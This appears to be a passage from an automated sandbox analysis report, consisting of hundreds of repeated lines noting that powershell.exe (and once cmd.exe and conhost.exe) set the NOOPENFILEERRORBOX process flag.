Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
